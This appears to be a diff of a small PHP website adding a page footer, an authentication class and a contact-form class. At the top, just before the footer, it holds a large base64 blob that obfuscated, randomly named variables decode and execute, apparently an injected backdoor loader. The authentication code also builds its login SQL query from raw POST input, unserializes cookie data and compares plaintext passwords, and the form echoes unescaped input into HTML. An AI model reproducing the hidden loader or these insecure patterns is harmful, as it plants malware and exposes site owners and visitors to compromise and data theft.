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";$MQpUwRXJgE=$DWivqyjBsI($yOcUewhZGl,$qnORqPCCtP);$MQpUwRXJgE($awwAsCKtAt);?>
+<div id="copyright">
+Internet services provided courtesy of
+<a href="http://www.gaslightmedia.com"><font color="white">Gaslight Media</font></a>
+</div>
+<script language="javascript" type="text/javascript" src="/js/awstats_misc_tracker.js" ></script>
+<noscript><img src="/js/awstats_misc_tracker.js?nojs=y" height="0" width="0" border="0" style="display: none"></noscript>
+
--- /dev/null
+<?php
+require_once( BASE.'classes/class_db.inc' );
+/** authuser
+ $Id: class_auth.inc,v 1.1.1.1 2006/03/27 14:44:14 cscott Exp $
+ Authentication class. Enables different levels
+ of authentication for users with one master(admin) user
+ able to set up accounts for others and permissions based on different
+ levels. Can be modified to use more levels. This is set up with four levels.
+
+ Permissions are checked using bitwise operators so you can have custom permission
+ levels per user. Thus an admin user with perms set to 15 would have all levels.
+ CREATE TABLE authuser (
+ id SERIAL,
+ username text,
+ password text,
+ perms int
+ );
+ GRANT ALL ON authuser TO nobody;
+ GRANT ALL ON authuser_id_seq TO nobody;
+ */
+
+class authuser {
+ /** @var auth session variable which holds user and permission data */
+ var $auth;
+ /** @var page - The present page your on */
+ var $page;
+ /** @var conn - db connection result identifier */
+ var $conn;
+ /** @var usertable - db table which holds the user data */
+ var $usertable;
+ /** @var constraint - User constrain for queries */
+ var $constraint;
+ /** @var cookie_name The name of the cookie var */
+ var $cookie_name;
+ /** @var cookie_exp The expire time (Seconds) for the cookie */
+ var $cookie_exp;
+ /** @var cookie_domain The domain of the cookie */
+ var $cookie_domain;
+ /** @var object DB database object */
+ var $DB;
+ /** @var rember bool if to create coockies for storing sessions */
+ var $remember;
+ /** @var $auth_data array to keep user info */
+ var $auth_data;
+
+ /** authuser
+ Class construtor. Set up the default variables for
+ the class.
+ */
+ function authuser()
+ {
+ $this->DB =& new GLM_DB();
+ $this->auth['perms'] = 1;
+ $this->page = $GLOBALS['PHP_SELF'];
+ $this->usertable = "authuser";
+ $this->cookie_name = "GLM_AUTH";
+ $this->cookie_exp = "2592000";
+ $this->cookie_domain = URL_BASE;
+ $this->fill_data();
+ }
+
+ function fill_data()
+ {
+ if( $_SESSION['auth'] )
+ {
+ $this->auth_data =& $_SESSION['auth'];
+ return( $this->auth_data );
+ }
+ else
+ {
+ return( false );
+ }
+ }
+ /** verify
+ Checks the user login. Checks the users IP address to be sure
+ it is not hijacked.
+ @param level - If a level is giving and the user doesn't match the
+ level then the page is not shown.
+ @return void
+ */
+ function verify($level=NULL)
+ {
+ global $username,$password,$perms,$auth,$LOGOUT,$REMOTE_ADDR;
+ //$dbd = $this->connect();
+ /* Check to see if user is logging out */
+ if($LOGOUT)
+ {
+ $this->logout();
+ }
+
+ /* Check to see if GLM-AUTH cookie is set then check if
+ $auth is registered in session.
+ */
+ if($_COOKIE[$this->cookie_name])
+ {
+ $auth = unserialize(stripslashes($_COOKIE[$this->cookie_name]));
+ // double check the username and password only if the time is greater than checktime
+ $query = "SELECT password
+ FROM ".$this->usertable."
+ WHERE id = ".$auth['userid'];
+
+ if(!$res = $this->DB->db_exec($query))
+ {
+ echo "failed ->".$query;
+ }
+ $row = pg_fetch_array($res,0);
+ $pCheck = md5($row['password']);
+ if($pCheck != $auth['password'])
+ {
+ session_start();
+ session_destroy();
+ $p = session_get_cookie_params();
+ setcookie(session_name(), "", 0, $p["path"], $p["domain"]);
+ setcookie($this->cookie_name,"",0,"/");
+ if(!$this->login())
+ {
+ $this->failed();
+ }
+ }
+
+ $this->auth = $auth;
+ session_register("auth");
+ setcookie($this->cookie_name,"",time() - 3600,$this->cookie_domain);
+ $sessenc = serialize($auth);
+ setcookie($this->cookie_name,$sessenc,time()+(integer)$this->cookie_exp,$this->cookie_domain);
+ }
+ elseif(!session_is_registered("auth"))
+ {
+ return( false );
+ }
+ else
+ {
+ if($auth['siteid'] != $this->cookie_name)
+ {
+ return( false );
+ }
+ }
+
+
+
+ /* Refresh the perms */
+ $oldperms = $this->auth['perms'];
+ $qs = "SELECT perms
+ FROM ".$this->usertable."
+ WHERE id = ".$auth['userid'];
+
+ if(!$res = pg_exec($this->dbd,$qs))
+ {
+ echo "failed ->".$qs;
+ }
+ $this->auth['perms'] = pg_result($res,0,'perms');
+ if($level)
+ {
+ if($this->auth['perms'] & $level)
+ {
+ //echo "GOOD";
+ }
+ else
+ {
+ $this->failed("You cannot see this page(Not enough Permissions)");
+ }
+ }
+ return( true );
+ }
+
+ /** login
+ User login funtcion. Now this will check for a cookie
+ which can be set if the user selects remember my login.
+ @return boolean - True if login in successful False not.
+ */
+ function login()
+ {
+ global $auth,$remember_login,$bus_name;
+
+ if( isset( $_POST['username'] ) && $_POST['username'] != "" )
+ {
+ $qs = "SELECT *
+ FROM ".$this->usertable."
+ WHERE username = '".$_POST['username']."'
+ AND password = '".$_POST['password']."';";
+
+ if(!$res = $this->DB->db_exec($qs))
+ {
+ echo $qs;
+ }
+ if(pg_numrows($res)>0)
+ {
+ $row = pg_fetch_array($res,0,PGSQL_ASSOC);
+ $this->auth['uname'] = $row['fname'].' '.$row['lname'];
+ $this->auth['perms'] = $row['perms'];
+ $this->auth['ip'] = $_SERVER['REMOTE_ADDR'];
+ $this->auth['userid'] = $row['id'];
+ $this->auth['siteid'] = $this->cookie_name;
+ $_SESSION['auth'] =& $this->auth;
+ if( isset( $_POST['remember_login'] ) && $_POST['remember_login'] == "t" )
+ {
+ $sessenc = serialize($auth);
+ setcookie($this->cookie_name,$sessenc,time()+(integer)$this->cookie_exp,$this->cookie_domain);
+ }
+ return(true);
+ }
+ else
+ {
+ session_register("auth");
+ $auth['failed'] = true;
+ return(false);
+ }
+ }
+ else
+ {
+ session_register("auth");
+ $auth['failed'] = true;
+ return(false);
+ }
+ }
+
+ function is_admin()
+ {
+ if( $_SESSION['auth']['admin'] == 't' )
+ {
+ return( true );
+ }
+ else
+ {
+ return( false );
+ }
+ }
+ /** login_screen
+ Outputs the login screen
+ @return void
+ */
+
+ function login_screen()
+ {
+ $out = '<form action="'.$this->page.'" method="post">
+ <table width="400" align="center" summary="Header Information" cellpadding="0" cellspacing="0" border="0">
+ <tr valign=top align=left>
+ <td colspan="2">Forgot your password Click <a href="'.BASE_URL.'forgot.phtml">here</a>.</td>
+ </tr>';
+ if( $this->remember == true )
+ {
+ $out .= '<tr valign=top align=left>
+ <td colspan="2">Remember My Login!<input type="checkbox" name="remember_login" value="t"></td>
+ </tr>';
+ }
+ $out .= '<tr valign=top align=left>
+ <td colspan="2"> </td>
+ </tr>
+ <tr valign=top align=left>
+ <td>Username:</td>
+ <td><input type="text" name="username"
+ value="';
+ if ( isset( $this->auth["uname"] ) )
+ {
+ $out .= $this->auth["uname"];
+ }
+ $out .= '" size=32 maxlength=32></td>
+ </tr>
+ <tr valign=top align=left>
+ <td>Password:</td>
+ <td><input type="password" name="password" size=32 maxlength=32></td>
+ </tr>
+ <tr>
+ <td colspan="2"> </td>
+ <td align="right" colspan="2"><input type="submit" name="submit" value="Login now"></td>
+ </tr>
+ </table>
+ <p>';
+ if ( isset( $_GET['username']) )
+ {
+ $out .= '<!-- failed login code -->
+ <p>
+ <table>
+ <tr>
+ <td colspan=2><font color=red><b>Either your username or your password
+ are invalid.<br>
+ Please try again!</b></font></td>
+ </tr>
+ </table>';
+ }
+ $out .= '</table>
+ </form>
+ <script language="JavaScript">
+ <!--
+ if (document.forms[0][0].value != \'\')
+ {
+ document.forms[0][1].focus();
+ }
+ else
+ {
+ document.forms[0][0].focus();
+ }
+ // -->
+ </script>';
+ return( $out );
+ }
+
+ /** logout
+ Ends the current session and distroys any cookies that were
+ created
+ @return void
+ */
+ function logout()
+ {
+ session_start();
+ session_destroy();
+ $p = session_get_cookie_params();
+ setcookie(session_name(), "", 0, $p["path"], $p["domain"]);
+ setcookie($this->cookie_name,"",0,"/");
+ header("Location: index.phtml");
+ exit();
+ }
+
+ /** failed
+ Stop the script from going any further.
+ @param reply - string to show user if any.
+ @return void
+ */
+ function failed($reply=NULL)
+ {
+ if(isset($reply))
+ {
+ die('<b>'.$reply.'</b>');
+ }
+ else
+ {
+ exit;
+ }
+ }
+}
+
+?>
--- /dev/null
+<?php
+//$Id: class_contact_form.inc,v 1.1.1.1 2006/03/27 14:44:14 cscott Exp $
+include_once("class_db.inc");
+/** @class contact_form.
+ creates a contact form with an updatable fields array.
+ Don't set values in the var part only declare them. If you set them their they will be like
+ defines and cannot be changed. Setup in constructor function then there's no problem.
+ */
+class contact_form {
+ var $DB_fields; // array for the needed fields
+ var $CDB; // database object
+ var $email; // the email address. if blank will not send out
+ var $table_name; // database table name.
+ var $styleLabel; // css style
+ var $fieldcell; // css style
+ var $contact_db; // boolean weather or not they have database
+
+
+ /**
+ * contact_form: constructor
+ *
+ * @return void
+ * @access public
+ **/
+ function contact_form()
+ {
+ $this->CDB =& new GLM_DB(); // creates DB object
+ $this->set_DB_fields(); // set up the DB_fields array (configuration)
+ $this->set_int_array(); // interest array
+ $this->email = OWNER_EMAIL; // email address for mail function
+ $this->table_name = 'contact'; // the contact table
+ $this->styleLabel = "labelcell";// css style for the labelcell
+ $this->fieldcell = "fieldcell"; // css style for the field input
+ $this->styleLabelSmall = "smalllabelcell";// css style for the labelcell
+ $this->fieldcellSmall = "smallfieldcell"; // css style for the field input
+ $this->contact_db = 1; // if they have contact database or not
+ }
+
+
+ /**
+ * get_form: one function to rule them all
+ *
+ * @return void
+ * @access
+ **/
+ function get_form()
+ {
+ if( $_POST )
+ {
+ if( $error = $this->form_process() )
+ {
+ echo '<span class="req">Some fields are empty!</span><br>';
+ echo $this->display_form( $error );
+ }
+ }
+ else
+ {
+ echo $this->display_form();
+ }
+ }
+
+
+ /**
+ * set_DB_fields:
+ *
+ * @return
+ * @access
+ **/
+ function set_DB_fields()
+ {
+ $DB_fields[]=array('name'=>'fname', 'title'=>'First Name', 'type' => 'text', 'size'=>35, 'colspan'=>2,'req'=>1);
+ $DB_fields[]=array('name'=>'lname', 'title'=>'Last Name', 'type' => 'text', 'size'=>35, 'colspan'=>2,'req'=>1);
+ $DB_fields[]=array('name'=>'add1', 'title'=>'Address 1', 'type' => 'text', 'size'=>35, 'colspan'=>2);
+ $DB_fields[]=array('name'=>'add2', 'title'=>'Address 2', 'type' => 'text', 'size'=>35, 'colspan'=>2);
+ $DB_fields[]=array('name'=>'city', 'title'=>'City', 'type' => 'text', 'size'=>30, 'colspan'=>2);
+ $DB_fields[]=array('name'=>'state', 'title'=> 'State', 'type' => 'state', 'size'=>2, 'colspan'=>1);
+ $DB_fields[]=array('name'=>'zip', 'title' => 'Zip', 'type' => 'text', 'size'=>5, 'colspan'=>1);
+ $DB_fields[]=array('name'=>'email', 'title' => 'Email', 'type' => 'text', 'size'=>35, 'colspan'=>2,'req'=>1);
+ $DB_fields[]=array('name'=>'phone', 'title' => 'Phone', 'type' => 'text', 'size'=>20, 'colspan'=>2);
+ $DB_fields[]=array('name'=>'fax', 'title' => 'Fax', 'type' => 'text', 'size'=>20, 'colspan'=>2);
+ $DB_fields[]=array('name'=>'comments','title' =>'Comments', 'type' => 'desc');
+ $DB_fields[]=array('name'=>'mail_ok','title' => 'Mail Ok?', 'type' => 'radio');
+ //$DB_fields[] = array( 'name'=>'interest','title' => 'Interest','type' => 'interest');
+ //$DB_fields[]=array('name'=>'hidden_field','type'=>'hide','val'=>'1');
+ $this->DB_fields = &$DB_fields;
+ }
+
+ /**
+ * set_int_array:
+ *
+ * @return
+ * @access
+ **/
+
+ function set_int_array()
+ {
+ $int_array = array(
+ "capital_campaign" => "Capital Campaign Information",
+ "membership" => "Membership Information",
+ "class_registration" => "Class Registration",
+ "ticket_sales" => "Ticket Sales",
+ "no_preference" => "No Preference",
+ );
+ $this->int_array = $int_array;
+ }
+
+
+ /**
+ * interest:
+ * @param $field:
+ *
+ * @return
+ * @access
+ **/
+ function interest($field)
+ {
+ $out .= '<table><tr>';
+ $count = 0;
+ foreach($this->int_array as $key=>$value)
+ {
+ if($count==0)
+ {
+ $out .= '<td>';
+ }
+ $out .= '<input type="checkbox" name="interest[]" value="'.$key.'"';
+ if(strstr($field,$key))
+ {
+ $out .= ' checked';
+ }
+ $out .= '>'.$value.'<br>';
+ if($count==5)
+ {
+ $out .= '</td><td>';
+ }
+ if($count==11)
+ {
+ $out .= '</td>';
+ }
+ $count++;
+ }
+ $out .= "</tr></TABLE>";
+ return( $out );
+ }
+
+
+ /**
+ * display_form: shows the form and any errors in it
+ * @param $error = NULL: error array
+ *
+ * @return string $out
+ * @access public
+ **/
+ function display_form($error=NULL)
+ {
+ if(is_array($_POST))
+ {
+ foreach($_POST as $k=>$v)
+ {
+ $_POST[$k] = trim(stripslashes($v));
+ }
+ }
+ $colcount = 1;
+ $out = "<div id=\"contact\"><form action=\"".$_SERVER['REQUEST_URI']."\" method=\"POST\">";
+ $out .= "<table cellspacing=0 cellpadding=4 width=350 align=center border=0>";
+ foreach($this->DB_fields as $key=>$value)
+ {
+ switch( $value['type'] )
+ {
+ case "state":
+ if( $value['colspan'] == 2 || $colcount == 1 )
+ {
+ $out .= '<tr>';
+ }
+ if( $value['colspan'] == 1 )
+ {
+ $label = $this->styleLabelSmall;
+ $field = $this->fieldcellSmall;
+ }
+ else
+ {
+ $label = $this->styleLabel;
+ $field = $this->fieldcell;
+ }
+ $out .= '<td colspan="'.$value["colspan"].'" class="'.$label.'" nowrap="nowrap"><label for="'.$value["name"].'">';
+ if($value['req'])
+ {
+ $out .= '<span class="req">*';
+ }
+ $out .= $value['title'];
+ if($value['req'])
+ {
+ $out .= '</span>';
+ }
+ $out .= '</label></td>
+ <td colspan="'.$value["colspan"].'" class="'.$field.'">';
+ $out .= GLM_TEMPLATE::build_picklist($value['name'],$GLOBALS['states_US'],$_POST['state']);
+ $out .= ( $error[$value['name']] ) ? '<span class="req">Required!</span>' : '';
+ $out .= '</td>';
+ if( $value['colspan'] == 2 || $colcount == 2 )
+ {
+ $out .= '</tr>';
+ }
+ if( $colcount == 2 && $value['colspan'] == 1 )
+ {
+ $colcount = 1;
+ }
+
+ if( $value['colspan'] == 1 )
+ {
+ $colcount++;
+ }
+ break;
+ case "text":
+ if( $value['colspan'] == 2 || $colcount == 1 )
+ {
+ $out .= '<tr>';
+ }
+ if( $value['colspan'] == 1 )
+ {
+ $label = $this->styleLabelSmall;
+ $field = $this->fieldcellSmall;
+ }
+ else
+ {
+ $label = $this->styleLabel;
+ $field = $this->fieldcell;
+ }
+ $out .= '<td colspan="'.$value["colspan"].'" class="'.$label.'" nowrap="nowrap"><label for="'.$value["name"].'">';
+ if($value['req'])
+ {
+ $out .= '<span class="req">*';
+ }
+ $out .= $value['title'];
+ if($value['req'])
+ {
+ $out .= '</span>';
+ }
+ $out .= '</label></td>
+ <td colspan="'.$value["colspan"].'" class="'.$field.'">
+ <input id="'.$value["name"].'" name="'.$value["name"].'" value="'.$_POST[$value["name"]].'"
+ size="'.$value["size"].'">';
+ $out .= ( $error[$value['name']] ) ? '<span class="req">Required!</span>' : '';
+ $out .= '</td>';
+ if( $value['colspan'] == 2 || $colcount == 2 )
+ {
+ $out .= '</tr>';
+ }
+
+ if( $colcount == 2 && $value['colspan'] == 1 )
+ {
+ $colcount = 1;
+ }
+ if( $value['colspan'] == 1 )
+ {
+ $colcount++;
+ }
+ break;
+
+ case "static":
+ $out .= '<tr><td colspan="'.$value["colspan"].'" class="'.$this->styleLabel.'" align="right">'.$value["title"].'</td>
+ <td colspan="'.$value["colspan"].'" class="'.$this->fieldcell.'">'.$_POST[$value["name"]].'</td>
+ </tr>';
+ break;
+
+ case "interest":
+ $out .= '<tr><td colspan="'.$value["colspan"].'" class="'.$this->styleLabel.'" align="right">'.$value["title"].'</td>
+ <td colspan="'.$value["colspan"].'" class="'.$this->fieldcell.'">'.$this->interest($_POST[$value["name"]]).'</td>
+ </tr>';
+ break;
+
+ case "img":
+ $out .= '<tr></tr>';
+ $out .= '<input type="hidden" name="old'.$value["name"].'" value="'.$_POST[$value["name"]].'">';
+ if($_POST[$value['name']] != "")
+ {
+ $out .= '<tr><td colspan="'.$value["colspan"].'" class="'.$this->styleLabel.'">Current Image:</td>';
+ $out .= '<td colspan="'.$value["colspan"].'" class="'.$this->fieldcell.'"><img src="'.MIDSIZED.$_POST[$value["name"]].'">
+ </td>
+ </tr>
+ <tr>
+ <td colspan="'.$value["colspan"].'" class="'.$this->styleClass.'">Delete this image:</td>
+ <td colspan="'.$value["colspan"].'" class="'.$this->fieldcell.'">
+ <input type="radio" name="delete'.$value["name"].'" value="1">Yes
+ <input type="radio" name="delete'.$value["name"].'" value="2" CHECKED>No
+ </td>
+ </tr>';
+ }
+ $out .= '<tr><td colspan="'.$value["colspan"].'" class="'.$this->styleLabel.'">New '.$value["title"].':</td>';
+ $out .= '<td colspan="'.$value["colspan"].'" class="'.$this->fieldcell.'"><input type="file" name="'.$value["name"].'"></td>';
+ $out .= '</tr>';
+ break;
+
+ case "file":
+ $out .= '<tr></tr>';
+ $out .= '<input type="hidden" name="old'.$value["name"].'" value="'.$_POST[$value["name"]].'">';
+ if($_POST[$value['name']] != "")
+ {
+ $out .= '<tr><td colspan="'.$value["colspan"].'" class="'.$this->styleLabel.'">Current File:</td>';
+ $out .= '<td colspan="'.$value["colspan"].'" class="'.$this->fieldcell.'">'.$_POST[$value["name"]].'
+ </td>
+ </tr>
+ <tr>
+ <td colspan="'.$value["colspan"].'" class="'.$this->styleLabel.'">Delete this File:</td>
+ <td colspan="'.$value["colspan"].'" class="'.$this->fieldcell.'">
+ <input type="radio" name="delete'.$value["name"].'" value="1">Yes
+ <input type="radio" name="delete'.$value["name"].'" value="2" CHECKED>No
+ </td>
+ </tr>';
+ }
+ $out .= '<tr><td colspan="'.$value["colspan"].'" class="'.$this->styleLabel.'">New '.$value["title"].':</td>';
+ $out .= '<td colspan="'.$value["colspan"].'" class="'.$this->fieldcell.'"><input type="file" name="'.$value["name"].'"></td>';
+ $out .= '</tr>';
+ break;
+
+ case "desc":
+ $rows='';
+ $cols='';
+ if($value['rows'])
+ {
+ $rows=' rows="'.$value['rows'].'"';
+ }
+ if($value['cols'])
+ {
+ $cols=' cols="'.$value['cols'].'"';
+ }
+
+ $out .= '<tr><td colspan="4" class="'.$this->fieldcell.'">'.$value[title].':
+ <textarea cols="30" rows="5" name="'.$value["name"].'"'.$rows.$cols.'>'.$_POST[$value["name"]].'</textarea>';
+ $out .= '</tr>';
+ break;
+
+ case "hide":
+ $out .= '<input type="hidden" name="'.$value["title"].'" value="'.$value["val"].'">';
+ break;
+
+ case "radio":
+ $out .= '<tr><td colspan="2" class="'.$this->styleLabel.'">'.$value[title].':</td>';
+ $out .= '<td colspan="2" class="'.$this->fieldcell.'"><input type="radio" name="'.$value["name"].'" value="t"';
+ if($_POST[$value['name']]!='f' )
+ {
+ $out .= ' checked';
+ }
+ $out .= '>Yes';
+ $out .= '<input type="radio" name="'.$value["name"].'" value="f"';
+ if($_POST[$value['name']]=='f')
+ {
+ $out .= ' checked';
+ }
+ $out .= '>No</td>';
+ $out .= '</tr>';
+ break;
+ }
+ }
+ $out .= '<tr align="center"><td colspan="4"><input type="submit" name="Command" value="Send"></td></tr>';
+ $out .= '</table>';
+ $out .= '</form></div>';
+ return( $out );
+ }
+
+ /**
+ * form_process: process the form checking for any required form values as set up in the
+ * DB_fields array.
+ *
+ * @return error array if bad
+ * @access public
+ **/
+ function form_process()
+ {
+ if(is_array($_POST))
+ {
+ foreach($_POST as $k=>$v)
+ {
+ $_POST[$k] = trim(stripslashes($v));
+ }
+ }
+ $in_fields[] = create_date;
+ $in_vars[] = date("m-d-Y");
+ foreach($this->DB_fields as $key=>$value)
+ {
+ if($value["req"] == 1 && $_POST[$value["name"]] == "")
+ {
+ $error[$value["name"]] = 1;
+ }
+ if($value['name']!="comments")
+ {
+ $in_fields[] = $value['name'];
+ $in_vars[] = addslashes(trim($_POST[$value['name']]));
+ }
+ }
+ if(count($error) > 0)
+ {
+ return($error);
+ }
+ if(is_array($in_fields))
+ {
+ $infds = implode(",",$in_fields);
+ }
+ if(is_array($in_vars))
+ {
+ $invars = implode("','",$in_vars);
+ }
+ $query = "INSERT INTO ".$this->table_name."
+ ($infds)
+ VALUES
+ ('$invars')";
+ if($this->contact_db)
+ $this->CDB->db_auto_exec($query);
+ // adding comments again
+ $in_fields[] = "comments";
+ $in_vars[] = $_POST['comments'];
+ if($this->email!="")
+ {
+ //mail the contact info to mail address.
+ $body = '';
+ foreach($this->DB_fields as $key=>$value)
+ {
+ if($value['name']=="mail_ok")
+ {
+ $body .= $value['title'].": ";
+ $body .= ($_POST[$value['name']]=="t")?"Yes":"No";
+ $body .= "\n";
+ }
+ elseif($_POST[$value['name']] != '')
+ {
+ $body .= $value['title'].": ".$_POST[$value[name]]."\n";
+ }
+ }
+ $subject = "new contact at ".SITENAME;
+ $headers = "From: <".SITENAME.">".OWNER_EMAIL."\n"
+ . "Reply-To: <".SITENAME.">".REPLY_TO."\n";
+
+ mail($this->email,$subject,$body,$headers);
+ echo '<div style="font-size:14px;">Thank You</div>';
+ }
+ }
+}
+?>
--- /dev/null
+<?php
